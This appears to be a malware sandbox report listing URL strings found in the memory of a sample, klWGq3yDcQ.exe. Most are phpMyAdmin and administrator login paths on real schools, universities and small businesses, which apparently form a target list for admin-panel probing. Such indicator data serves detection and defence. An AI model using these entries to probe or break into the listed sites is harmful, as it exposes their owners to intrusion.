Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/phpmyadmin/yAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/pma/#
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mnit.uc.in/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mnit.uc.in/administrator/index.phpO
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mnit.uc.in/administrator/index.phpk
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/O
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/phpMyAdmin/5
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/phpmyadmin/-
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.calvary.qld.edu.au/pma/Admin/-
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nohonetworks.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nohonetworks.com/PhpMyAdmin/1
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nohonetworks.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nohonetworks.com/phpMyAdmin/e
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nohonetworks.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nyklawfirm.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000038B8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.comer
Source: klWGq3yDcQ.exe, 00000001.00000002.2874889633.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.coms
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FC9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0=
Source: klWGq3yDcQ.exe, 00000001.00000002.2888005557.000000000487E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0Q
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsrsaovsslca20180V
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.godaddy.com/05
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2888110543.0000000004A1D000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0=
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.comS
Source: klWGq3yDcQ.exe, 00000001.00000002.2868964891.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocspx.digicert.com0E
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://octetpowers.in/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://octetpowers.in/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://octetpowers.in/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://octetpowers.in/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://octetpowers.in/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://octetpowers.in/pma/D
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/PhpMyAdmin/y
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/phpmyadmin/B
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ondania.com/pma/admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/3tf
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/PhpMyAdmin/V%
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paintd.plus.com/pma/l
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prettypollycleaning.ae/admin
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prettypollycleaning.ae/adminmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prettypollycleaning.ae/adminmin/eN9
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/PhpMyAdmin/.
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/es.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/phpMyAdmin/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/phpmyadmin/)
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000408A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://privatemoe.ae/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0-
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0X
Source: klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/4.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/lvz.
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FC9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B58000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/90
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/PhpMyAdmin/n/dmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/phpMyAdmin//Admin/Dy
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rdelealtad.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rechagricola.com.br/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rechagricola.com.br/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rechagricola.com.br/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rochester-gauges.be/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rochester-gauges.be/admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rochester-gauges.be/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rochester-gauges.be/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rochester-gauges.be/phpmyadmin/)~
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://samson.pe/wp-content/plugins/carousel-block/dist/assets/vendor/slick/slick.min.css?ver=169951
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://samson.pe/wp-content/plugins/carousel-block/dist/blocks.style.build.css?ver=1699519196
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://samson.pe/wp-includes/css/dist/block-library/style.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schema.org
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsrsaovsslca2018.crt07
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/PhpMyAdmin/v8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/ac.in
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/phpMyAdmin/Q
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/phpmyadmin/O
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sofia-communications.com/pma/Admin/=
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://status.rapidssl.com0
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/pma/admin/rtgag
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000409A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.debritto.sch.id/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/mycom
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/phpmyadmin/=
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://student.ub.ac.id/pma/om
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/PhpMyAdmin/p-
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/administrator/index.phpca
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/phpMyAdmin/B-m
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://students.kasralainy.edu.eg/pma/Admin/g-H
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/PhpMyAdmin/6
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/phpMyAdmin/n/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://t1eng.com/pma/Admin/m
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/#contact
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/#experties
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/#responsive
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/#servicios
